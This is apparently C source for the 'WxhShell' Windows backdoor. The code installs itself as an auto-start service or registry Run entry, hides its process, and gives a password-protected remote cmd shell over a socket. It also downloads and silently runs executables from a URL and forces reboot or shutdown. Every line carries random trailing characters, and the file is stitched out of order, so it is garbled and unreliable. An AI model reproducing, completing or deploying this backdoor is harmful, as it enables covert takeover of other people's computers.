    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w;6bD'.>;  
    if(Boot(SHUTDOWN)) Lh.b 5Q|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M5357Q  
    else { g4p  
    closesocket(wsh); ] }|byo  
    ExitThread(0); SRIA*M.B}  
    } ypOLp SYk  
    break; ^TY ;Zp  
    } "Jq8?FoT  
  // 获取shell (V`Md\NL`  
  case 's': { K<`osdp=&  
    CmdShell(wsh); `F YjQ e"p  
    closesocket(wsh); =@&cHY  
    ExitThread(0); DyJ.BQdk)  
    break; AlE8Xu9UB  
  } \_V-A f{6  
  // 退出 / P|fB]p  
  case 'x': { Fb`a~c~s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '7^M{y/dU  
    CloseIt(wsh); RD7^&  
    break; sUJ%x#u}Fk  
    } b//B8^Eong  
  // 离开 *a;@*  
  case 'q': { JF&$t}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9I27TKy  
    closesocket(wsh); \MC-4Yz  
    WSACleanup(); _|[UI.a  
    exit(1); ^hNgm.I  
    break; ,2Q o7(A  
        } W&* f#E  
  } !G^L/?z3  
  } c #-U%qZ  
M>9-=$7  
  // 提示信息 J%09^5:-z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O/AaYA&  
} xsd_Uu*  
  } (wDm*bZ*  
{'?)FX*W  
  return; u0aJu  
} lO&3{dOYE  
{;toI  
// shell模块句柄 4#x5MM  
int CmdShell(SOCKET sock) $3`>{3x$  
{ ;<yd^Xs  
STARTUPINFO si; 'o|30LzYgQ  
ZeroMemory(&si,sizeof(si)); k.("3R6v:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \$0F-=w`8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S5~VD?O,  
PROCESS_INFORMATION ProcessInfo; p&+;w  
char cmdline[]="cmd"; 5^']+5_vb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *.L81er5~  
  return 0; kt`nbm|aw  
} ];.pK  
'!l 1=cZD  
// 自身启动模式 4wC+S9I#E^  
int StartFromService(void) l^ZI* z7N  
{ /VmR<C?h  
typedef struct zi`b2h  
{ rSXh;\MfB4  
  DWORD ExitStatus; 'RRmIx2X  
  DWORD PebBaseAddress; -~?J+o+Pr"  
  DWORD AffinityMask; l @^3Exwt  
  DWORD BasePriority; )* 4fzo  
  ULONG UniqueProcessId; dJT]/g  
  ULONG InheritedFromUniqueProcessId; O3TQixE  
}   PROCESS_BASIC_INFORMATION; eF[63zx5*  
TIp:FW[  
PROCNTQSIP NtQueryInformationProcess; -@T/b$]'n  
NR;1z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ml\4xp,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G}&Sle]  
tOfg?)h{dc  
  HANDLE             hProcess; ]-ZEWt6lsc  
  PROCESS_BASIC_INFORMATION pbi; me[DmiM,  
ylt`*|$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /pF `8$  
  if(NULL == hInst ) return 0; (`y*V;o4  
626Z5Afg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Z~;4il_F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;&1V0U,fx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f B9;_z  
KII *az  
  if (!NtQueryInformationProcess) return 0; 6iCrRjY*  
B6wRg8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | WvUq  
  if(!hProcess) return 0; w)Covz'uf  
@V03a )6,h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Eb=}FuV  
^Z:~91Tv-_  
  CloseHandle(hProcess); jDQZQ NS  
s kg*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]X I*Wsn  
if(hProcess==NULL) return 0; /_ `lz^  
gx%|Pgd  
HMODULE hMod; ABUSTf<  
char procName[255]; bV ZMW/w  
unsigned long cbNeeded; zN  [2YJ$  
eImn+_ N3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0v9rv.Y"  
HttiX/2~  
  CloseHandle(hProcess); `w]s;G[  
Ei2'[PK  
if(strstr(procName,"services")) return 1; // 以服务启动 c%=IL M4  
OKoan$#sn  
  return 0; // 注册表启动 OE}*2P/M>  
} N^3N[lD{  
Fd0 %lnui  
// 主模块 P*cNh43U  
int StartWxhshell(LPSTR lpCmdLine) ;[fw]P n  
{ s`0QA!G{-  
  SOCKET wsl; _cXqAo  
BOOL val=TRUE; } \ZaE~  
  int port=0; qi_Jywd:w  
  struct sockaddr_in door; D9z|VIw8  
r#XT3qp$d  
  if(wscfg.ws_autoins) Install(); ?M[ A7?  
;VWAf;U;B  
port=atoi(lpCmdLine); $sEy%-  
'Fmvu   
if(port<=0) port=wscfg.ws_port; o<N  nV  
eut-U/3:#  
  WSADATA data; l5"OIq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )oyIe)  
*8LMn   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7}X[ 4("bB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3D2E?$dX  
  door.sin_family = AF_INET; U~pV)J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P>Ez'C  
  door.sin_port = htons(port); J>\B`E  
92EWIHEWZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z?\2F%  
closesocket(wsl); }mAa}{_  
return 1; rb|U;)C  
} [ i]Ub0Dh7  
SLh(9%S;  
  if(listen(wsl,2) == INVALID_SOCKET) { /kfgx{jZ  
closesocket(wsl); ['T:ea6B  
return 1; ;aw=MV  
} _'(,  
  Wxhshell(wsl); uuQ(&  
  WSACleanup(); o93`|yWl  
0zi~p>*nJC  
return 0; $C `;fA  
>(;{C<6|^  
} YGrg  
;72T|e  
// 以NT服务方式启动 gXjV?"^kUl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <kCU@SK  
{ ^Y'HaneoM  
DWORD   status = 0; >"C,@cN}B  
  DWORD   specificError = 0xfffffff; 62Z#Y Q}x  
[Nk3|u`h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )Q .>rX,F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5=Di<!a;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ndkti5L,   
  serviceStatus.dwWin32ExitCode     = 0; Cvf[/C+  
  serviceStatus.dwServiceSpecificExitCode = 0; B#M5}QT|2  
  serviceStatus.dwCheckPoint       = 0; Rp5#clsy  
  serviceStatus.dwWaitHint       = 0; ?#45wC  
7Zh~lM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |>#{[wko  
  if (hServiceStatusHandle==0) return; O<,\^[x  
k3uit+ge }  
status = GetLastError(); LbkF   
  if (status!=NO_ERROR) GSRVe/ [  
{ !7kG!)40  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (_"*NY0  
    serviceStatus.dwCheckPoint       = 0; AT%u%cE-  
    serviceStatus.dwWaitHint       = 0; 'hs2RSq  
    serviceStatus.dwWin32ExitCode     = status; @w?P7P<O`  
    serviceStatus.dwServiceSpecificExitCode = specificError; #Jw1IcuH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *" {lMZ +  
    return; C<P%CG&;  
  } 2Tagr1L  
}&[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i(NdGL#P  
  serviceStatus.dwCheckPoint       = 0; fP. 6HF_p_  
  serviceStatus.dwWaitHint       = 0; zR{W?_cV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xLC3>>P  
} 6E^.7%3  
|fHV2Y`:g  
// 处理NT服务事件,比如:启动、停止 ;NHt7p8SE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RR]CW  
{ tfGHea)M  
switch(fdwControl) !s&NT @ S  
{ yI"6Da6|y  
case SERVICE_CONTROL_STOP: 1#ft#-g}  
  serviceStatus.dwWin32ExitCode = 0; @9lUSk^9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P9vA7[  
  serviceStatus.dwCheckPoint   = 0; /%;mqrdk  
  serviceStatus.dwWaitHint     = 0; hX=A)73(  
  { d&+h}O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yp({>{u7  
  } ?]}8o}G  
  return; FN8NTBk  
case SERVICE_CONTROL_PAUSE: CL+}| 7O(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #N`~xZ|$  
  break; hBBUw0"  
case SERVICE_CONTROL_CONTINUE: 6,0_)O}\b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Er2}KZJv,  
  break; *^:N.&]  
case SERVICE_CONTROL_INTERROGATE: \Z+z?K O  
  break; #3+!ee27#  
}; TL}++e 7+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7i Sp=  
} )3>hhuaa  
{qN 5MsY  
// 标准应用程序主函数 %'X[^W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4x 8)gE   
{ =fO5cA6Z  
Yo|,]X>/  
// 获取操作系统版本 R~S;sJ& c  
OsIsNt=GetOsVer(); &FF"nE*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [rSR:V?"a  
 [D<1 CF  
  // 从命令行安装 C,NJb+J  
  if(strpbrk(lpCmdLine,"iI")) Install(); /J WGifH  
ybY]e; v*O  
  // 下载执行文件 ZOZ+Y\uU  
if(wscfg.ws_downexe) { eep1I :N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T-U}QM_e  
  WinExec(wscfg.ws_filenam,SW_HIDE); lc~%=  
} d2H|LMhJ  
T Kg aV;92  
if(!OsIsNt) { rV T{90,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,uSQNre\j  
HideProc(); -@0GcUE:r  
StartWxhshell(lpCmdLine); x3o ]U)^  
} 9f<MQ6_UU  
else }<9cL'  
  if(StartFromService()) TzNn^ir=HX  
  // 以服务方式启动 $3s@}vLd  
  StartServiceCtrlDispatcher(DispatchTable); '*"vkgN  
else ~wkj&yVT  
  // 普通方式启动 *1fb}C_  
  StartWxhshell(lpCmdLine); % a@>_  
w%JTTru  
return 0; e,Uo#T6J  
} pUV/ Ul]  
K*X_FJ  
P_Gw-`L5T  
(q(~de  
=========================================== *%S"eWb  
-)RH5WGS  
jAm3HI   
+PcmJ  
c+hQSm|bf)  
paD!Z0v&  
" 7r~~Y%=C|  
Lcg)UcB-#  
#include <stdio.h> -T[lx\}  
#include <string.h> [YUv7|\  
#include <windows.h> J /f  
#include <winsock2.h> 0a-0Y&lQm  
#include <winsvc.h>  y"H*%]  
#include <urlmon.h> /Z@tv .f  
UHTvCc  
#pragma comment (lib, "Ws2_32.lib") fngOeLVG  
#pragma comment (lib, "urlmon.lib") 5a hVeY  
;;:-l99  
#define MAX_USER   100 // 最大客户端连接数 l@\#Ywz  
#define BUF_SOCK   200 // sock buffer hKT  
#define KEY_BUFF   255 // 输入 buffer YTexv;VNb|  
\l]DQaOEe  
#define REBOOT     0   // 重启 tavpq.0O  
#define SHUTDOWN   1   // 关机 i03w 1pSH,  
'gTbA?+@5  
#define DEF_PORT   5000 // 监听端口 RF%KA[Dj  
DUC#NZgw  
#define REG_LEN     16   // 注册表键长度 !>zo _fP  
#define SVC_LEN     80   // NT服务名长度 4'!c*@Y  
?C&z]f3(:  
// 从dll定义API K0 }p i +=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'i4_`^:+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \\u<S=G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T`;%TO*Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g!+| I  
y*tZ !m2Gg  
// wxhshell配置信息 |ayVjqJ*  
struct WSCFG { 'Pn3%&O$  
  int ws_port;         // 监听端口 7:)n$,31FW  
  char ws_passstr[REG_LEN]; // 口令 s3R(vd  
  int ws_autoins;       // 安装标记, 1=yes 0=no %sX$ nmi3  
  char ws_regname[REG_LEN]; // 注册表键名 =p=rg$?  
  char ws_svcname[REG_LEN]; // 服务名 d\ 1Og\U|A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qT`k*i?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Bw|(J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5 ({t4dm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .MJofE;Jn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^wc"&;=c|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EuyXgK>g  
v,4pp@8rv  
}; 3 %|86:*  
3P^sM1  
// default Wxhshell configuration 'F$l{iR  
struct WSCFG wscfg={DEF_PORT, PEuIWXr  
    "xuhuanlingzhe", 7,lq}a8z  
    1, yl1gx  
    "Wxhshell", C86J IC"  
    "Wxhshell", a+!tT!g&I  
            "WxhShell Service", 7lBAxqr2  
    "Wrsky Windows CmdShell Service", .QN>z-YA6:  
    "Please Input Your Password: ", \0vr>C  
  1, ] 0B2# d  
  "http://www.wrsky.com/wxhshell.exe", jkt_5+S  
  "Wxhshell.exe" 2L} SJUk*  
    }; 7[5.> h  
S>]pRV9rT  
// 消息定义模块 t_qNq{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]A<~XIu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fH >NJK;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BC&9fr  
char *msg_ws_ext="\n\rExit."; 8_ tK4PwP  
char *msg_ws_end="\n\rQuit."; I^8"{J.Q)[  
char *msg_ws_boot="\n\rReboot..."; % <q w  
char *msg_ws_poff="\n\rShutdown..."; t`,` 6@d  
char *msg_ws_down="\n\rSave to "; aW`Lec{.  
c;n *AK  
char *msg_ws_err="\n\rErr!"; '-"/ =j&d[  
char *msg_ws_ok="\n\rOK!"; j"'(sW-  
m|:_]/*qE  
char ExeFile[MAX_PATH]; T2!6(, s9  
int nUser = 0; K3x.RQQ-  
HANDLE handles[MAX_USER]; 5&q8g;XiEM  
int OsIsNt; B3 5E8/  
m/y2WlcRx  
SERVICE_STATUS       serviceStatus; li 6%)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @qnD=mE  
6w(6}m.L^  
// 函数声明 U}PiY"S<  
int Install(void); _G.>+!"2/  
int Uninstall(void); UM6(s@$  
int DownloadFile(char *sURL, SOCKET wsh); s8#X3Rp  
int Boot(int flag); *UmI]E{g3(  
void HideProc(void); J_v$YwE  
int GetOsVer(void); FWHNj.r  
int Wxhshell(SOCKET wsl); A3S<.. g2  
void TalkWithClient(void *cs); ~;&m*2 |V  
int CmdShell(SOCKET sock); @Q/-s9b  
int StartFromService(void); 82QGS$0V  
int StartWxhshell(LPSTR lpCmdLine); /(BMG/Tb  
q~vDz]\G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 "Q=Vl"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ykX/9y+-s  
naw0$kXTA  
// 数据结构和表定义 fI~Xmw+}}  
SERVICE_TABLE_ENTRY DispatchTable[] = Ts ^"xlK  
{ P}TI q#  
{wscfg.ws_svcname, NTServiceMain}, mHBnC&-/  
{NULL, NULL} T<w5vqFDu  
}; qASqscO  
uec!RKE  
// 自我安装 x\s|n{  
int Install(void) ^,;z|f'% *  
{ Tp_L%F  
  char svExeFile[MAX_PATH]; KFvQ  
  HKEY key; j;fpQ_KL  
  strcpy(svExeFile,ExeFile); [zlN !.Z  
=IW?WIXk  
// 如果是win9x系统,修改注册表设为自启动 3MY(<TGX  
if(!OsIsNt) { 24)(5!:"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B{C??g8/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n>^Y$yy}!  
  RegCloseKey(key); PV4(hj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z<SLc,]^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'b#0t#|TM  
  RegCloseKey(key); I9 mvt e  
  return 0; EVVP]ND  
    } S!G(a"<W  
  } /`6ZAo m9  
} C~N/A73gF  
else { Yl#Rib  
(jFGa2{  
// 如果是NT以上系统,安装为系统服务 _;~,Cgfi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y<Xz wro0  
if (schSCManager!=0) I>[RqG  
{ o;=l ^-  
  SC_HANDLE schService = CreateService ]) rrG/3  
  ( l-s!A(l  
  schSCManager, gUpb4uN  
  wscfg.ws_svcname, #z2rzM@/:  
  wscfg.ws_svcdisp, }f8Uc+  
  SERVICE_ALL_ACCESS, I*IhwJFl/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7_mw%|m6@  
  SERVICE_AUTO_START, =R Ah|e  
  SERVICE_ERROR_NORMAL, ALNc'MW!  
  svExeFile, -Gw$#!  
  NULL, j|/]#@Yr  
  NULL, Okm{Xx  
  NULL, C_n9T{k  
  NULL, 2;^y4ssg  
  NULL Nv/v$Z{k  
  );  y7$iOR  
  if (schService!=0) 6C-/`>m  
  { m"fNK$_d  
  CloseServiceHandle(schService); & M~`:R  
  CloseServiceHandle(schSCManager); LF~*^n>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ircp``g  
  strcat(svExeFile,wscfg.ws_svcname); 9f',7i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZP;j9 T!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _=NwQu\_F  
  RegCloseKey(key); }p!HT6 tZ  
  return 0; /u0' 6V  
    } 5fm?Lxr&?  
  } kIGbG;"_  
  CloseServiceHandle(schSCManager); 9P~\Mpk  
} +H9>A0JF  
} "ajjJ"x A  
pDh{Z g6t  
return 1; -|Y(V5]  
} B:e @0049  
#ceaZn|@m  
// 自我卸载 xZQg'IT  
int Uninstall(void) 9$Xu,y  
{ 2Ri{bWi  
  HKEY key; /}PF\j9#4  
@*qz(h]\  
if(!OsIsNt) { C":o/;,1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '^Ql]% _  
  RegDeleteValue(key,wscfg.ws_regname); ` bdZ/*E  
  RegCloseKey(key); .hba*dV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7_ zMM  
  RegDeleteValue(key,wscfg.ws_regname); B';6r4I-  
  RegCloseKey(key); XP1~d>j  
  return 0; XvE9 b5}  
  } QR Ei7@t  
} 5Pd"h S  
} .9"Y_/0   
else { V\{tmDE  
h-m \%|D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )* Q-.Je/U  
if (schSCManager!=0) KM !k$;my  
{ Fb4`|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UY<e&Npo  
  if (schService!=0) ObE,$_ k  
  { g=]u^&  
  if(DeleteService(schService)!=0) { L}FO jrN  
  CloseServiceHandle(schService); sL@U  
  CloseServiceHandle(schSCManager); OzQ -7|m'J  
  return 0; ]Lm9^q14m  
  } dpFVN[\oK  
  CloseServiceHandle(schService); >A<bBK#  
  } vk?skN@  
  CloseServiceHandle(schSCManager); <7n4_RlF!  
} qpsv i.S  
} L9@&2?k  
PIWux {  
return 1; IR-dU<<9O  
} svuq gSn  
pFm=y#!t  
// 从指定url下载文件 $ KRI'4  
int DownloadFile(char *sURL, SOCKET wsh) y8 KX<2s1  
{ r.T<j .\  
  HRESULT hr; ?qX)ihe%k  
char seps[]= "/"; 9&2Vm;F_  
char *token; V~hlq$jn<Y  
char *file; PZm:T+5H  
char myURL[MAX_PATH]; PNA\ TXT  
char myFILE[MAX_PATH]; \T\b NbPn  
2{Chu85   
strcpy(myURL,sURL); IZm(`b;t^  
  token=strtok(myURL,seps); ^m /oDB-  
  while(token!=NULL) >(<ytnt=  
  { Hsihytdj  
    file=token; !j\" w p  
  token=strtok(NULL,seps); :gB[O>'<m  
  } C:uz6i1  
J8"[6vId~  
GetCurrentDirectory(MAX_PATH,myFILE); w~ ;I7:  
strcat(myFILE, "\\"); C-?%uF  
strcat(myFILE, file); Q3 eM2i8Y  
  send(wsh,myFILE,strlen(myFILE),0); (^5 7UmFv]  
send(wsh,"...",3,0); =1u@7Bh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NFr:y<0>z  
  if(hr==S_OK) <97d[/7i  
return 0; :KKa4=5L  
else 3 AHY|  
return 1; |hO~X~P  
c(/VYMJZ&  
} shH~4<15  
Khe!g1=&X  
// 系统电源模块 iajX~kv  
int Boot(int flag) L3p`  
{ 78Aa|AJU  
  HANDLE hToken; +dP L>R  
  TOKEN_PRIVILEGES tkp; >^OC{~Az  
R@*O!bD  
  if(OsIsNt) { d7&eLLx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +,&O1ykY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )$&dg2[  
    tkp.PrivilegeCount = 1; if)Y9:{r^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k`{@pt.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tdEnk.O  
if(flag==REBOOT) { O$g_@B0E1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZKz,|+X0G  
  return 0; Cv*x2KF G  
} [<,~3oRu  
else { ~=wC wA|1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2qHf'  
  return 0; rFZrYm  
} `$YP<CJeq  
  } mC z,2K|^~  
  else { 'i8 U  
if(flag==REBOOT) { T?p`)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yE\wj  
  return 0; pCu!l#J  
}  8*c3|  
else { YxGcFjJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Otz E:qe  
  return 0; lg}HGG  
} +xXH2b$wWC  
} e8EfQ1 Ar  
gUAxyV  
return 1; v`c$!L5  
} v6GsoQmA   
jhGlG-^  
// win9x进程隐藏模块 S\wW)Pv8  
void HideProc(void) ;c -3g]  
{ ;&b%Se@#p  
u0RS)&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %y<ejM  
  if ( hKernel != NULL ) g2R@`./S  
  { ya -i^i\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *<'M!iRC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o]LRzI  
    FreeLibrary(hKernel); / EMJSr  
  } 1mSaS4!"B  
O3N_\B:  
return; C*X G_b ]  
} 3p*-tBOO  
gFPi7 o1  
// 获取操作系统版本 = pIy  
int GetOsVer(void) hKlZi!4J  
{ ` r']^ ,  
  OSVERSIONINFO winfo; Ao7`G':  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aVe/ gE  
  GetVersionEx(&winfo); GOSI3RRn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _0pO8o-x  
  return 1; q+a.G2S  
  else Qpt&3_   
  return 0; zTD@  
} <8 #ObdY!  
r,N[)@  
// 客户端句柄模块 4.K'\S  
int Wxhshell(SOCKET wsl) U,lJ"$'  
{ ^# A.@  
  SOCKET wsh; ~/IexQB&  
  struct sockaddr_in client; L fl-!1  
  DWORD myID; ?`zgq>R}w[  
1j\aH&)GH  
  while(nUser<MAX_USER) _ jAo:K_Z  
{ =C f(B<u  
  int nSize=sizeof(client); Dz_eB"}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DP7C?}(  
  if(wsh==INVALID_SOCKET) return 1; 3P <'F2o  
!7U\J]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h7;bclU  
if(handles[nUser]==0) ]$M<]w,IJ2  
  closesocket(wsh); cUK\x2  
else bO<0qM~  
  nUser++; S^cH}-+  
  } }wSy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hh kN^S,  
D6Y6^eS-  
  return 0; {BO|u{C  
} W3Ulewa  
b>~RSO*  
// 关闭 socket XNH4==4  
void CloseIt(SOCKET wsh) >!9h6BoGV  
{ mEQ!-p   
closesocket(wsh); {$^SP7qV#>  
nUser--; !Zbesp KZ  
ExitThread(0); >sj bK%  
} U&y`-@A4  
"L3Xd][  
// 客户端请求句柄 TRKgBK$,  
void TalkWithClient(void *cs) %HSl)zEo>C  
{ u{bL-a8}  
L"rcv:QWZa  
  SOCKET wsh=(SOCKET)cs; [}3cDR  
  char pwd[SVC_LEN]; V+w u  
  char cmd[KEY_BUFF]; hkW{88  
char chr[1]; qSQ@p\O~  
int i,j; PMKb ]y  
o6?l/nJ  
  while (nUser < MAX_USER) { 2[dIOb4b  
g]`bnZ7  
if(wscfg.ws_passstr) { PaVO"y]C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b4 hIeBI\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9.0WKcwg  
  //ZeroMemory(pwd,KEY_BUFF); =p&sl;PsLw  
      i=0; 4w{-'M.B  
  while(i<SVC_LEN) { Yb=6C3l@  
wk 02[  
  // 设置超时 E '%lxr  
  fd_set FdRead; * Zd_ HJi  
  struct timeval TimeOut; ;IC'Gq  
  FD_ZERO(&FdRead); KtTza5aF  
  FD_SET(wsh,&FdRead); HR3_@^<7  
  TimeOut.tv_sec=8; v3JPE])/  
  TimeOut.tv_usec=0; F$*3@Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j;2<-{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n6d^>s9J  
*\LyNL(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y&,rTa  
  pwd=chr[0]; m{&w{3pQk  
  if(chr[0]==0xd || chr[0]==0xa) { ';/84j-3F  
  pwd=0; p(7QAd4  
  break; VjTe4$ *  
  } g8yN% )[  
  i++; _=6OP8  
    } 3C"_$?y"  
vF>gU_gz.  
  // 如果是非法用户,关闭 socket Yg6I&#f7&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +p?hGoF=  
} 'XTs -=  
h#{T}[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 93I'cWN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 55hyV{L%  
GOW"o"S  
while(1) { p`GWhI?  
xeB4r/6  
  ZeroMemory(cmd,KEY_BUFF); ZPF7m{S  
Lht[g9  
      // 自动支持客户端 telnet标准   p^8 JLC  
  j=0; ] C,1%(  
  while(j<KEY_BUFF) { 6wpU6NU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b}%g}L D  
  cmd[j]=chr[0]; 0 [i+  
  if(chr[0]==0xa || chr[0]==0xd) {  5T/J%  
  cmd[j]=0; y[:q"BB3  
  break; ny`(f,)u*  
  } &r:m&?!|VQ  
  j++; /p$=Cg[K  
    } >h[(w  
sA\L7`2H  
  // 下载文件 M@O2 WB1ws  
  if(strstr(cmd,"http://")) { sPpS~wk*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nx;$dxx_Ws  
  if(DownloadFile(cmd,wsh)) 4p x_ZD#J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E!@/NE\-  
  else E|,30Z+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jm> U6  
  } l7Y8b`  
